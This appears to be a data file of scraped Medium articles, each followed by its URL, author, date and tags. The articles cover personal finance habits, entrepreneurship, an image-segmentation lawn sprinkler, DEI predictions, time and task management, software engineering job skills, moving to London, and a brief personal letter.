We often inherit the financial habits of the adults who played an influential role in our lives. Spending before budgeting properly, neglecting to save, or not having a wealth mentality are typically learned behaviors that can change with a little bit of practice and encouragement. To avoid having old habits worsen, here are a few things to avoid in order to achieve financial health.
1. Impulse Buying
How many times have you been in the store, and ended up purchasing more than you planned to? This is an example of impulse buying. Impulse buyers rarely think about how the additional purchase will impact their financial health in the long run. To avoid impulse buying, begin working from a budget, and keep track of your earnings and what you spend on a daily basis. This will help you avoid overspending, and purchasing unnecessary items based on your wants instead of your needs.
2. Relying on Credit Cards
Someone rightly said, “Procrastination and credit cards are the same, a lot of fun until you get the bill.” You can make expensive purchases quickly and easily with a credit card, but you’ll always have to pay the bill in the end, plus interest. The interest rate on credit cards are often so high that even making the minimum payment is not enough to pay down debt effectively. Regular and unnecessary credit card usage puts people under a lot of debt and rarely leaves room for savings or investments.
3. Imitating Other People’s Lifestyles
Comparing your life to other’s or imitating them often leads to poor financial decisions. For instance, a person earning $5,000 a month might find themselves imitating the lifestyle of someone who earns $20,000 a month, and often leads to accruing debt. Worry less about keeping up with the Joneses and find creative ways to live below your means so you have room to save and invest.
4. Not Creating a budget.
Avoid the habit of not following a budget and take charge of your finances in a short period. People who rarely give thought to a budget typically end up in debt. Creating a budget helps you to spend within it, and you’ll find yourself making steps to a debt free life sooner than you think. Budgeting helps you to stay informed of your earning, spending, and powers your savings and investment goals. Savings keeps you financially safe with suitable investments like retirement savings, child education, buying a house, and more.
3 Steps Closer to Financial Freedom
Avoiding a few bad habits can prove to be fruitful in your financial journey. Bad habits die hard, but you can easily overcome your bad habits when you are up for taking charge of your financial life. Stop impulse buying, give yourself a budget, use credit cards efficiently, and avoid imitating lifestyles that are above your means. Set your eyes on your financial goals, and you are not far from achieving them. | https://medium.com/@thrivefinancialacademy/4-financial-habits-to-avoid-b9ce79825a42 | ['Thrive Financial Academy'] | 2020-12-23 06:29:23.881000+00:00 | ['Wealth Management', 'Investing', 'Budget', 'Money Management', 'Invest'] |
9 Habits of very successful entrepreneurs as Steve Jobs & Warren Buffett | One common mistake here is that many people focus on what they don’t want (rather on what they really want). So the way to go is not to set a goal like: “I want to get of my debts”, but rather: “I want to earn 100,000 USD within the next 6 months.”
2) Very successful entrepreneurs are not scared to start
Starting a business often means to have some doubts about possible obstacles. But worrying too much about that can mean that an enterpriser will never start. In our lives there were sometimes hard times, we all had them and often we were not prepared. Still, we found a solution and overcame most of them. It seems that most of the successful entrepreneurs have an attitude regarding obstacles that is like this old English phrase:
“Let’s cross that bridge when we come to it.”
Entrepreneurs know that there might be some “roadblocks” and they might be concerned, but they aren’t worried about them. The difference between concern and worry was very well explained by the famous author Dale Carnegie: | https://medium.com/@contact_25701/9-habits-of-very-successful-entrepreneurs-as-steve-jobs-warren-buffett-25dd80be873 | ['Leonardo Koenitzer'] | 2019-03-17 16:48:45.815000+00:00 | ['Startup', 'Success', 'Entrepreneurship', 'Life', 'Leadership'] |
Smart Sprinkler — More Accurate Lawn Watering Using an Image Segmentation Model Paired with an Arduino Based Sprinkler System | Smart Sprinkler — More Accurate Lawn Watering Using an Image Segmentation Model Paired with an Arduino Based Sprinkler System Fazal Mittu Follow Apr 26 · 12 min read
Source: Dvaires on Flickr
The Problem
Imagine you are strolling through your neighborhood past beautiful green lawns. You step in between the puddles of water collecting near your feet. On your left, a large lawn is being showered in water from a dozen sprinklers in the ground. Despite the miniature water park soaking up the grass, it is still covered with small patches. Many of us don’t see a problem with this, and will happily walk over these puddles and move on with our day. However, the issue is that even though so much water is being used, the lawn is still unhealthy and unable to thrive. This problem is more severe than you may think. In America, 30–60% of urban fresh water is used to water lawns and the sad fact, is that about 50% of this water is wasted due to inefficient and inaccurate watering.
Lawns are wasteful. They are heavily resource dependent on commodities like fertilizers, composts, and most importantly, water. This article will list a detailed version of my developed solution as well as the steps that I took to plan, prototype, and deploy it.
The Goal
The engineering goal for this experiment was to develop a 3-part system including an image segmentation model, a motor value script, and an Arduino controlled sprinkler with the intent of accurately watering patches in a grass lawn, saving significant amounts of water and time.
First Thoughts
At the beginning of this project, I lacked the experience with computer vision, and also any formal plan.
At first glance, there is a noticeable color difference between the lighter brown patches of grass and the green of the healthy grass. My first approach to this project was to look at the RGB values of different areas of the image. If I could determine areas that are “less green” and find a way to threshold it, I could pinpoint the patches. However, it wasn’t as simple as anticipated. The main issue was the numerous external factors that could affect my results. For example, lighting can change the RGB value of a patch in an image. With so many extraneous factors, it would lack the consistency of a practical system.
I definitely needed a better solution.
Image Segmentation
The new solution came in the form of a concept called image segmentation. Image Segmentation is a computer vision process that divides images into “segments” based on the similarity of pixels. It is mainly used to detect objects within images (object detection) and is used in autonomous vehicles, medical image processing, and satellite imaging.
Using image segmentation, I could detect the patches in the lawn. I began to research creating image segmentation models using Tensorflow.
During my research, I found a wonderful library called ImageAI written by Olafenwa Moses. ImageAI gives users the option for custom object detection: the ability to use a custom, user created dataset. ImageAI would allow me to assemble a curated dataset, best suited for my model.
First Dataset/Test
Data enables machine learning and without accurate, meaningful, and plentiful data, it isn’t possible to effectively train practical models to make predictions about the world around us. If we wish to teach a student well, we must provide them the right resources to learn efficiently.
Many websites and applications contain free to use, public datasets that engineers can use for their own projects. However, there were no existing datasets for this project, meaning I would have to make my own. As it would turn out, building the dataset proved to be a big challenge over the course of this project.
An image segmentation dataset has two parts to it: images and annotations. There are many ways to annotate images, or mark where the object is located in the image. I used the Pascal VOC format which saves the annotations in .xml files. Essentially, if my dataset contained 50 images, I would have to annotate each individual image to create 50 .xml files annotating their corresponding images.
Initially, I had many questions about the dataset: how many images I needed, how do I annotate an image, how do I use it in code, how do I know if an image is good, and so on. Thanks to Olafenwa Moses, who luckily wrote an informative article detailing how to create a custom dataset and use it with his library ImageAI.
The first step was acquiring images, which proved to be significantly more difficult than anticipated. There weren’t many high quality images that I could find online. I googled “patchy grass” and manually downloaded just 65 images for my first dataset. To put this in perspective, most image datasets contain thousands of images to train on.
After collecting the images, I annotated them using a software called Label IMG. I identified the directory to get images from, and the directory to save the annotations in. Then, I annotated each image by boxing any patches. Below is a screenshot of the Label IMG software I used to annotate the images.
Label IMG Software
I finally had a complete dataset of annotations and images and was ready to train my model. I faced many difficulties with my dataset and downloaded libraries and after troubleshooting, I trained my first model over 15 epochs with a batch size of 4.
Dataset 1 Results
After testing the model on an image of my front yard, this was the result. It had taken me so long to get a clean run without an error that I was ecstatic to even get a box to show up. It hardly crossed my mind that this result was horrible and useless for my overall system. The model vaguely marks the general area of the bad grass. However, it’s very inaccurate and practically useless.
Datasets 2–4/Further Testing
After evaluating my results, it was obvious that I lacked enough images to properly develop my model. I decided that I needed a much larger dataset, and manually downloading my images was inefficient.
After some research I discovered web scrapers. A web scraper is a tool that can extract data and content from websites, and download those files locally to your computer. This was just what I needed, and after following a short tutorial, I had a small web scraper downloading images with the keywords “patchy grass”, “bad grass”, and “bad lawn”. Using this web scraper, I accumulated a folder of 180 images, my second dataset.
After removing any unusable images, I had a third dataset of 160 images. After training the model with the third dataset, the results remained inconsistent and inaccurate. Again, I suspected the main issue was a lack of images in the dataset.
After reaching out for some help and doing some research, I discovered image augmentation, a process through which a dataset can be expanded by modifying existing images. This includes changing the orientation of the image and the RGB values of pixels. | https://medium.com/visionary-hub/smart-sprinkler-adab0a1fbfb6 | ['Fazal Mittu'] | 2021-04-26 03:44:12.592000+00:00 | ['Data', 'Arduino', 'Artificial Intelligence', 'Machine Learning', 'Lawn Care'] |
What Are The Top Predictions for DEI in 2021? | Predictions for DEI in 2021
Spoiler alert: 96% of CEOs that participated in an October Fortune/Deloitte survey said that DEI is a strategic priority for their organizations. And that’s not all.
Fully 83% of the CEOs have set or plan to set measurable targets to ensure they’re hitting their DEI goals.
So when asked what my predictions are for DEI in 2021 (see Q&A below), I have a reason to respond optimistically. That said, survey results do not give us permission to rest on our laurels.
Scroll down for advice on how to move forward with DEI in the new year.
Question:
What are your predictions for DEI in 2021? (Asking on behalf of the HR department here.)
Answer:
If the unpredictability of 2020 taught us anything, it’s that we can’t place all of our eggs in the what-we-expect-to-happen-based-on-predictions bucket. Yes, predictions help inform strategy, which in turn informs budget allocation and what gets done. That’s important. However, we can’t get too comfortable with predictions because they are not a substitute for agility¹.
If the weather app predicts sun but it ends up raining, what good is our sunblock? We need to be able (i.e. agile) to protect ourselves from the real elements, not the predicted ones. Did we bring an umbrella just in case? Do we have an impermeable layer tucked away in our backpack somewhere?
In the world of talent management, agility means creating systems, policies, and procedures so that our workforce can pivot at the push of a button.
It means building a workforce that displays resilience despite the circumstances. It means that no matter what happens in 2021, we have a workforce that can persevere because it’s powered by a culture of trust and belonging.
So how can you build an agile workforce with trust and belonging?
Now we’ve come full circle. Because to create a workforce that’s agile and anchored in trust and belonging, you need three ingredients: diversity, equity, and inclusion.
What does that look like in practice?
It’s not much different from other sound business strategies: it starts with metrics and accountability. (If it matters to you, measure it. If you want it to get done, measure it.) Use this guide as a starting point for collecting DEI metrics. And remember: a diverse, equitable, and inclusive workplace will help you and your organization endure through 2021 and beyond.
DEI-forward companies not only perform better in a strong economy, they are also better at surviving (and thriving through) economic downturns.
Between 2007 to 2009, while the S&P 500 declined 35%, businesses where women and people of color had “very positive experiences” saw their stocks rise an average of 14.4%. | https://medium.com/@katicaroy/what-are-the-top-predictions-for-dei-in-2021-e5da2cc02e4a | ['Katica Roy'] | 2020-12-21 19:17:26.209000+00:00 | ['Intersectionality', 'Diversity Training', 'Diversity And Inclusion', 'Gender Equity', 'Data'] |
Improve Your Time and Task Management Skills | These subjects (both of which are requisite parts of having skills in Project Management) have been the bane of my life on many occasions.
Let’s start with some definitions:
Time Management is variously defined as:
“the ability to use your time effectively or productively”
and Task Management as:
“the process of managing the lifecycle of a task from planning to action and final completion”
Incidentally, Project Management is the topic of a forthcoming series of posts
How many times…how MANY…have I lifted my head to look at the clock and felt my heart sink? Beyond count…
I know I’m not alone. There will be literally millions of us who have, at one time or another, been in that same boat. We will have uttered the immortal words “where did the time go?” or (in my case) “how the FUCK can it be that time already?”. Those feelings of dread are sealed further when a look at the task list shows possibly less progress than was originally anticipated at this point.
The “bigger” of the two subjects (for me anyway) is Time Management.
Over the years, I’ve tried many things to help me manage both subjects. I did the “plan your day the night before” thing, only to find that my day ended up looking nothing like what I’d planned. I went for the “set priorities and deal with the highest priority tasks first” approach, only to discover that everything seemed to be priority 1! I have also been variously guilty of the sin of “making a plan and intending to stick to it” but then not doing so. I’ve set timers and alarms to go off when I’ve said a task is due to finish, only to “snooze” or ignore them altogether and find myself right back where I started…not keeping control of my time.
Did all of these strategies fail for me all of the time? Thankfully, no. Each had its place and, depending on how it was approached and applied, provided varying degrees of success (and failure).
But absolutely nothing about trying different methods to improve something you’re not good at or happy with, is wasted time. Just because something doesn’t work, isn’t a measure of how useful gaining that experience has been. On the contrary, and if you’ll kindly indulge me, I will paraphrase one of my all time heroes; Thomas A Edison. On his account of having tried thousands of different combinations of elements and methods to create the electric lightbulb, he insisted that he hadn’t failed. Rather, he had discovered thousands of ways which didn’t work.
It’s all about how we perceive things.
However (and this is what I’d call a “given”); we will never have 100% control over our time or tasks (or, said another way: we will never have control over 100% of our time or tasks). Even if all of these tasks are generated by you, for you and rely only on you; a fair percentage of them will not be done in the time or way you first envisaged.
You need to be OK with that.
That last statement might get a little stuck in your throat. I know it got stuck in mine, when an experienced manager first said it to me many years ago (we’re talking early 1990's). I scoffed and said (with my shiny-new “team leader” hat on) — “but that’s just wrong!”. I had (not unusually at that time, I might add) missed the point.
I went on to argue that this “attitude” of being OK with failure was potentially dangerous; what if I were a surgeon and I didn’t manage something correctly during an operation? Someone could die! Or, as a pilot, if I didn’t do the appropriate thing at the correct moment, the plane could crash. I even quoted Kurt Russell from the firefighting movie Backdraft, where he says to Alec Baldwin “You have a bad day here and somebody dies… and that’s just not fucking good enough”.
Of course, that manager was right. Almost immediately, and many, MANY times over the years since then, failures happened. Tasks have been poorly defined, time has neither been correctly estimated nor properly allocated (or both).
It’s been better since, but my then youthful ego wouldn’t accept that these issues were because of anything I’d done. If there was an excuse; I’m sure I’d have used it:
“It’s not my fault! How could I know it was going to take that much longer? The last time we did this [particular job] it only took x minutes” “It’s not my fault! I forgot! How can I be expected to remember 100 things at once?!?!”
…and so on.
Of course, I didn’t “get” that the process of failing is how we go on to learn and then succeed, providing we learn from the failure. The subject of Time and Task Management is no different in this regard.
Time Management
A lot of us don’t think we’ve got any issues with managing our time, but if we actually spent time reviewing how well it is spent, we may think differently.
Still, the management of time is an interesting subject. If we look at the common observations that are made about time:
Time flies: in the seeming “blink of an eye”, an hour or two has passed without our noticing, especially when we’re focussed on something;
in the seeming “blink of an eye”, an hour or two has passed without our noticing, especially when we’re focussed on something; There’s not enough time: we think that the amount of time we have won’t cover things we need to do; lots of tasks must needs lots of time;
we think that the amount of time we have won’t cover things we need to do; lots of tasks must needs lots of time; Time drags/there’s too much time: when we’re doing something we either don’t like or don’t want to be doing; when we’re waiting (like waiting for news about something or a kettle to boil); when we are bored/have nothing to occupy us; when we can’t sleep at night; when we’re queueing;
Funnily enough, nowhere in that list is “Time goes at just the right pace”, even though that can and does happen.
Regardless of these observations, we all have the same number of seconds, minutes and hours in each day. So why doesn’t it seem that way? Why does the next person, who is just as busy as you, seem to have more (or less) time than you?
At the centre of this is one key term; perception.
Our perception of time is entirely based around our situation at any given point. So, when you’re focussed on something, you pay less attention to the clock and therefore time seems to fly. When you feel that you have too many things to get done, time never seems to be in sufficient supply. When you’re focussed on the clock, rather than what you’re supposed to be doing, time then seems to drag.
It makes sense, therefore, to find a middle ground to make time go “at just the right pace”. Some simple strategies are listed below to accomplish this for each observation:
Time going by too quickly
Find a way to ensure that you take notice of time at an interval which is helpful. Too long an interval will leave you back where you started, and time will fly. Too short an interval will likely not be enough to accomplish anything worthwhile.
The first time I heard of this approach was when someone pointed me in the direction of the Pomodoro® technique. All you need is a timer (a kitchen timer is fine), some paper and a pen. What you do is pick a task, start the timer (which you’ll set for 25 minutes) and then immerse yourself in that task and not look at a clock until the timer sounds. When that happens, you take a short break for about five minutes. Then you repeat the process until that task is finished.
The inventor of this, Francesco Cirillo, calls each one of these work periods a “Pomodoro” (which literally means “tomato” in Italian). This is because when the technique was invented, the timer used was a kitchen timer in the shape of a tomato.
Every four “Pomodoros” or so, you take a longer break of around 20–30 minutes.
Sketchplanation of the technique — thanks to my buddy, Jono Hey for permission to use this graphic
This technique works very well. Consider the following:
Each timed period (I can’t call them “Pomodoros”…I just can’t) doesn’t have to be 25 minutes. It could be 15, 20 or whatever period makes sense to you and suits the task, but don’t go over 90 minutes.
For each task, estimate how many timed periods it will take. You can mark this against each task for reference. Whether you’re doing this list on paper or not, you could even put multiple tickboxes beside the task to indicate this:
The hardest part (it was for me, initially) is not looking at the clock, especially when you start to settle into the task. Don’t scold yourself for doing this, just remember that the timer “has your back” and return to your task.
Taking the breaks (especially a 20'ish minute one, if you’ve gone for a 90 minute stretch) is mega-important. In terms of health and productivity, I cannot emphasise this enough.
This works well, as you can forget about the clock, knowing that a timer will alert you to the passing of a fixed period. That means that time won’t fly, you’ll make progress (of some sort) and it’s that middle-ground of time passing at just the right pace.
There is more to time management than being aware of time. If we return to the definition at the start of the article (“the ability to use your time effectively or productively”), then being aware of time is certainly helping with using it effectively. The “productively” part will be down to how the tasks being undertaken have been organised and decisions made on the best ways to progress them.
Task Management
Chief among the qualities which contributed to my first outing as a “team leader”, was my ability to get things done in an organised and efficient way. I was known for taking big tasks and being able to break them down, in my head, into smaller parts and identifying the tools and equipment which each part needed. I was also known for having a very good memory.
Needless to say, as a team-leader, life soon became busier and memory was no longer sufficient. I found myself relying on lists (paper lists, as mobile devices hadn’t yet been invented). If I wasn’t physically working on a job, my head was in my notebook, jotting things down and planning the day’s tasks.
It took a few months to refine. I started out with just one big “To Do” list, which fast grew out of control. My job was in a small engineering team, working on maintaining an existing CATV network, whilst also building a new one. So that meant that we had a schedule to which the new network had to be built as well as a daily regime of dealing with customer “trouble” calls and existing network faults. Customer troubles reported one day, were printed the following mornings and allocated to team members in specific areas. We also had outages to deal with and these were radioed to us in the field by an operator at HQ. The list would contain:
Tasks to do with staff (things the team had asked me to look at, holidays, sickness cover, etc.)
Incoming emergency/outage information, as received by radio or pager (out of hours)
The build tasks for that day
Other tasks
The most logical way to handle this was to group the tasks based on what they related to. In the end, I split my notebook up into sections for each group and tasks went in there. In each section, where applicable, I would start a new page for each day, carrying over the unfinished tasks from the previous day. I soon noticed that some tasks were routinely being carried over, so I had to implement a way to know this at a glance. I worked out a system of “arrows” to indicate how long this had been happening for and when I’d come to complete the new list for the day, I added the “arrowed” tasks first, in the order of those with the most arrows at the top:
An example of the list I’d write, with arrows indicating how many days the tasks had been carried over
My next challenge was to prioritise things, as I would often have three or four carry-overs and other high-priority jobs (which weren’t carry-overs). Each one ended up getting a “P” number to indicate their urgency/priority (P1 = highest priority, etc.).
It wasn’t until another few months went past that I discovered that colour would make a big difference to the clarity of the list. This was by total accident too; my trusty blue “Bic” pen ran out and the only pen I could get (or “steal”) from the office was a red one. I remember looking at my list and thinking how it made it look like a teacher had written all over my school jotter! Hated it at first, but then it dawned on me what a great idea this was…the red draws my attention, so I put that on the arrows and used it to indicate priorities too.
These days, we’re all “busy” and lists have become essential for organising busy lives and jobs.
If you don’t use lists but rely on your memory instead, and you have a number of things you need to achieve, then consider this:
According to research (outlined in an article on the Very Well Mind website by Kendra Cherry), our short-term memories can only handle 7±2 (seven plus or minus two) items and that when these memories are not rehearsed or actively maintained, they only last a few seconds. If others depend on what you need to achieve, where would anyone find this information if something unfortunately happened to you? A single task can quickly become multiple tasks with one common heading, so the space of 7±2 will soon be full.
I’ve had a few bosses who fell foul of this and I managed to convince all except one of them to use lists.
Whether your list is paper or a task-list app on your phone/tablet/computer, it will definitely help you to manage your tasks more easily.
I prefer to use list apps instead of paper. The reason I like this so much is because I misplaced that notebook once and I was completely lost without it. There was no backup of any description (wouldn’t have been easy to do anyway) and paper is easily damaged too.
At least with list apps, they are generally synced to a Cloud account of some sort and visible across many devices.
Organising tasks
Following the defintion, the three parts of each task:
Planning
Action
Completion
Planning can be further broken down into:
>> Simplifying — breaking the whole task down into smaller and simpler distinct parts to make it easier to manage. As these smaller tasks become sub-tasks, then the original task becomes a “task group”.
>> Prioritising — As mentioned in my earlier example; everything could be seen as a priority one (or P1), but this isn’t necessarily the case. Determining what is and what isn’t a priority will be specific to your situation, but the general rules of thumb are:
Dont have more than one top priority (P1) task at a time
Tasks which are not P1 are, at best, a lower priority (P2)
There is no P3 — any task that is lower than P2 shouldn’t be on a task list. If it’s something which just needs to be taken note of, do that separately.
>> Scheduling — Determine when you are going to start this task and how long it will take you. Use the advice in the time management section and work out how many timed periods it will take. If a task is scheduled to take more than 90 minutes, it’s likely that this task could be further simplified. Revisit the simplying tasks stage.
Action — Speaks for itself; commence the task, but…
…before Completion, it may become necessary to revisit the following:
<<Resimplifying — This can happen when the task being undertaken needs more steps to complete it than were first determined, which only became obvious after the task was started. The task may then be broken down into sub-tasks and it is possible for it to spawn completely separate distinct tasks too.
<<Rescheduling — If additional tasks are created from the resimplification process, they will need to be scheduled. If the additional tasks are sub-tasks, it is probable that the group task will now take longer. The group task duration should be at least the sum total of the durations of each of its sub-tasks. However, it may be that one sub-task requires a process which is now not in your control (e.g. waiting for something external like a replacement part to arrive or something along those lines), so the rescheduling of that part of the task may have to be estimated or left blank until that part is back in your control (e.g. the replacement part arrives).
<<Reprioritisation — If, for any reason, the priority of the task changes, it’s important to determine the new priority. If the task priority changes to a P2, then any P2 task already on your list which you would consider to be “next” in line, now becomes the P1 task. If the task is now prioritised as lower than P2, it will obviously come off the list and be noted elsewhere. The changing of priority will mean that any parts of the schedule affected by this change, will need to be changed also.
This might sound a tad complicated, but it really isn’t. Once you’ve done it a couple of times, it becomes the natural way to work. At the end of the day, any task list should be treated as dynamic, rather than static, as circumstances can and do change.
Here’s an example of a fairly well-organised task list. I’ve used Google Keep for this, as it has decent indentation facilities for sub-tasks, but use whatever works for you:
Example of an organised task list
As you can see, there are two task groups, each with sub-tasks indented below them. Priority 1 (P1) at the top of the list and priority 2 (P2) below. The estimated time is shown as minutes in brackets at the end of each sub-task and the task group times are a total of these amounts.
Conclusion
This has been a fairly quick look at my way to handle time and task management, which I hope has been useful to you.
The next logical stage is Project Management, which will be the subject of a forthcoming series of posts. I will update this post with the links to those when they are available. | https://medium.com/@awross/improve-your-time-and-task-management-skills-49eda1a0e7ac | ['A W Ross'] | 2020-12-23 18:21:08.459000+00:00 | ['Project Management', 'Time Management Tips', 'Task Management'] |
Tech (“Take”) 2: Top skills software engineers should know | Cuz graphics like these though helpful may be a bit intimidating at first glance (source: https://miro.medium.com/max/2434/1*qan3U0peL-CSdtKaCwKohA.png)
So I've been conducting a multi-month experiment on what are the most commonly sought after skills for software engineering job listings on LinkedIn.
Here's what I found:
Modern front end framework (I.e. angular react or vue) — In particular creating dynamic UIs + Consuming back in services (Most commonly through requests that follow HTTP protocol)
Why I think this is being asked for:
Gone are the days when creating a static website was good enough. The bar has been raised and users expect interfaces that change according to their behaviors. This is totally possible with plain JavaScript but these modern frameworks make it so much easier.
Some of these websites have a lot going on as in there's just a lot of stuff. Breaking down each page into smaller components (That have the added benefit of being reusable) Makes it a lot easier to Work with. These frameworks allow you to do that with components.
Often times the user interface will show data that is being provided by the backend. So if you don't know how to interact with the backend as a front end engineer you're in trouble.
2. Experience creating backend APIs aka. servers that send back some data in response to requests (example tools you can use to create these things: node for js, spring web for java, django for python, .NET for c#)
Why I think this is being asked for:
Most applications are designed in this way where the front end communicates with the backend to do some stuff (after all you want your front end as much as possible to just be about the interface and nothing else) And communicates using requests that follow HTTP protocol. So It makes sense then that it is expected that you should be able to create these backends that can receive these requests And do What's expected of them by the front end (Normally this involves Interacting with a database or communicating with other APIs)
3. Knowledge on how to work with at least one database (If it's relational it's mostly postgreSQL and if it's non-relational Then it's mongoDB)
Why I think this is being asked for:
Data is the driving force behind most all companies. They gather data about people and use that to inform what they should work on next. If you don't know how to work with data In this day and age you might as well be a dinosaur.
As for why it's these two particular databases I have no clue I'm sure they provide a particular set of advantages compared to their Alternatives that make them more appealing to businesses
4. Knowledge on how to work with cloud technologies (AWS, GCP)
Why I think this is being asked for:
Companies used to have their own infrastructure which really just means they were in charge of keeping up all their servers Which were the things that client browsers made requests to in order to get back websites. The thing is keeping all those servers up cost money and a lot of it. Enter cloud technologies. You don't have to manage your servers anymore just pay another company to manage them for you (And by the way that company is probably way better at managing those servers) At a fraction of the cost. Who would say no to that?
Not to mention cloud providers provide way more than what I just mentioned above (i.e. If Your servers are getting hit like mad and It looks like they are reaching capacity it will auto scale By setting up more servers so I can divide up the work load)
5. Knowledge of containers and container management systems (Like Docker and Kubernetes respectively)
Why I think this is being asked for:
As a developer working with a team of developers you want to avoid the classic problem of “The code that I wrote is running perfectly fine on my machine I don't get why it's not working on yours!”. Docker eliminates the problem by guaranteeing that your code will work on any machine (How it does so Is by having The code run inside an environment where it’s guaranteed to work: Namely 1. a virtual Linux OS and 2. a container with dependencies properly Installed and the correct start command to start the application)
If it's clear that we want to use Docker then it becomes clear why we want to use container management systems like Kubernetes. If you want to put a service in a Docker Environment because you want To guarantee that it will run properly, then why not put all your services in a Docker environment to guarantee that they all run properly. If you have all these services in a docker environment, You might want an easier way to manage them. Enter container management systems. An analogy really drives the value of container management systems home. Imagine an orchestra of different instruments. These instruments are the different services running in a Docker environment. Trying to manage the whole thing by communicating with each individual Instrument is a lot more work than just having a conductor and communicating with That one person to make the correct adjustments that you want.
6. Micro services which, In its most elementary sense, is the practice of breaking down your application into many smaller parts
Why I think this is being asked for:
Companies used to Not follow this practice and just have one huge application as a single entity. The consequence of this is that Scaling the application is inefficient. For example let's say your application has this one part that is Used Way more than any other part of the application so you want to give it more capacity to deal with all this usage. How can you do that? Because the application is pretty much a single entity/unit you don't have the option of Isolating this heavily used part and scaling it by itself, you have to scale the whole damn Application all together! Even though there's no need to scale any part aside from this one heavily used part. That's inefficient. If you had broken down your application into smaller parts then you could have chosen to scale just that part while leaving the rest as they were. So it would cost a whole lot less.
Side note: Choosing to work with micro services Does come with the burden of understanding a more complicated flow of data — Since you're breaking a single thing into many different things, All these different things will have to pass around data to one another which was not something you had to do when everything was just packaged into a single thing/entity.
7. All the stuff that has to do with Designing, building, And maintaining performant and scalable software (Which includes but is not limited to: direct experience, Systems design, Data structure and algorithms, Design patterns, OOP + SOLID)
Why I think this is being asked for:
At the end of the day every company wants to reach as many people as possible even the smallest of start ups have that goal. So it makes Sense That these companies want to have people who know how to create and maintain applications that would be able to withstand as many people as possible Because hopefully one day that goal will become a reality. Sure you may be great at creating a Fully functioning prototype that has a slick interface and a working backend, but if it can only handle four people using it at once that's not good enough and that's not what the company wants.
direct experience — it’s probably the best thing for you to have because there’s nothing That can replace the learnings of actually having to create stuff that is used by millions of people everyday
Systems design question practice — It pales in comparison to the above option because it’s all theoretical but if you don’t get the opportunity at work to create Scalable things used by millions of people this is probably your best alternative
Data structure and algorithms — If your goal is to just make something work, Data structures and algorithms don’t really come into the picture. This is because the Purpose of knowing these things is when you want to go beyond making something work into making something efficient. For example if you want to do One operation a lot, it would help to know which data structure is the fastest at doing that operation and using it. And to even have a way to measure which code is faster than another code when given massive inputs, Well that's what knowing time complexity In the form of big O notation is all about. (Side note: It's because FAANG Has to deal with so much scale that I think they're interviewing process revolves around data structures and algorithms and systems design)
8. Skills that say you have experience working in teams (i.e. git)
Why I think this is being asked for:
This one is pretty obvious. You're going to work in a team when coding. If all you have is experience working on code by yourself they'll need to teach you how to do that and that’s something that Another candidate might already know
I’m sure there’s many more but those are the Skills that kept popping up the most to me in those Daily linked in job postings.
If I were to gage myself according to these skills I’d say…
I have some in-depth knowledge on 1,2,3 as in i’ve worked on multiple projects involving them
I have some working knowledge on 5, 6, 8 as in I’ve touched on those subjects at least once (i.e. worked w/them in a tutorial)
I’m unfamiliar on 4, 7
Also for 3 I’ve worked for the most part exclusively w/mongoDB and not postgreSQL
So now I know what to start shoring up!
Maybe you can also go through a similar activity to see what skills companies are asking for most often that you could improve upon!
Hope this helped! | https://medium.com/@marcusseungholee/top-skills-software-engineers-should-know-be0bd1d71679 | ['Marcus Seungho Lee'] | 2020-12-21 01:06:09.441000+00:00 | ['Job Hunting', 'Coding', 'Software Engineering', 'Software Development'] |
Moving to London: meal deals, mortality and the Pretpocalypse | Moving to the capital is a post-education must for many people. Confused suburbanite Matt Tidby writes about the perils and pleasures of London living.
“I’m thinking about the apocalypse a lot.” Photo: Jared Tarbell / Flickr.
A couple of weeks ago, I moved to London for the first time, to do a three month internship. I’d never spent more than a handful of days around so many people before, and in my self-assigned role as a lost suburbanite, it has been a quick and ever-expanding lesson, in pretty much everything, to drop in on the lives of these London people.
When eight million people live on top of each other, they have to keep moving otherwise their collective London wisdom has it that they’ll just form neat, static piles in the street and gather dust. Getting about is of paramount importance to the London people. They run up and down devices that were designed to make stairs faster and easier. They fling themselves through closing Tube doors, just to be at work/the pub/home a whole minute earlier. The train doors bump and beep with automatic delight — they’ve been whittling off bits of Londoner for some time now, building an army of patchwork creatures for when the machines rise up and take control.
Food is also a big thing in this city. I’m a notoriously fussy eater; as a child, I would freak out if vegetables came near any of the other constituent parts of a meal (I grew up in Hampshire, I had to find something to push against) and I still enter a state of acute anxiety when in unknown gastronomic environs.
So far, London has not helped me to relax in this regard. Pret A Manger are so omnipresent that I have begun to find them sinister; it feels like they’ve deliberately seeded themselves into the infrastructure of the city in order to seize executive power after the apocalypse. Many salads here involve gherkins, even though: a) they taste of gherkin, b) they’re called gherkins. There are even feeding rituals; the food in Itsu magically becomes affordable at 7.30pm, leading to a quite remarkable perfect storm of brogues and media beards that sweeps in and empties the shelves in a five minute frenzy. All that was missing was an Attenborough commentary; it was comically jarring to see a ritual as restrained as queuing appear so animistic. It made me feel somewhat incongruous for continuing to have faith in Tesco meal deals, but also kind of victorious too.
As is probably obvious, I’m thinking about the apocalypse a lot. Living in parallel with so much mortality encourages dystopian thought. I believe the benefit of the urban experience is the opportunity to see us for what we are when we put our minds to it: noble, well-intentioned, striving little ants, building and pushing, drinking and stumbling, mute in carriages and loud when loved — but still, essentially, good.
Nevertheless, urban isolation promotes the sense of the morose mass, the meaninglessness of the crowd — stoic units walking through underground tunnels, looking down, off to make worthless money and precious small talk. When I see dystopia, my reaction is to dream of utopia — the notion of collectivising the land and setting the souls of London free suddenly becomes a delightful, Elysian alternative to the sweat fugs of prime-time central line travel.
But people live in cities, and love them and aspire to them, and always have done; 14th-century bodies found by the recent Crossrail excavations have been attributed to every corner of the UK. If we were meant to live in balanced, dissipated communes, then history would not be the tale of great cities, the people in them and the things they did or didn’t do.
The infectiously positive thing about London, despite the dislocation, the fear and the Prets, is an overwhelming sense of momentum — people here ride the mortal coil like a helter-skelter, ravenously consuming experience, good and bad, as they go. When reality intercedes, whether through a predictable salad or a delayed train, they moan for 30 seconds or 140 characters and then they move on, keep spinning and change at Finsbury Park. It’s confusing and compulsive in equal measure, and if I ever go native, I’ll be on the first train to Cornwall. | https://medium.com/abstract-magazine/moving-to-london-meal-deals-mortality-and-the-pretpocalypse-e253d5fd9389 | ['Matt Tidby'] | 2015-11-28 13:01:54.812000+00:00 | ['Life', 'London', 'Travel'] |
Letter to you | There are times when I just stop and start to think about it and I just can’t believe. I’ll never be able to choose between destiny or the chaos theory, how many things I’ve done before led me to this? How could I be able to create such a good place for me without even notice? Once I don’t know how I did it I have a huge fear, this little space of time seems to be so fragile so valuable I can’t touch, I can’t do any abrupt move cause it might get ruined, you might get away and we might never meet again.
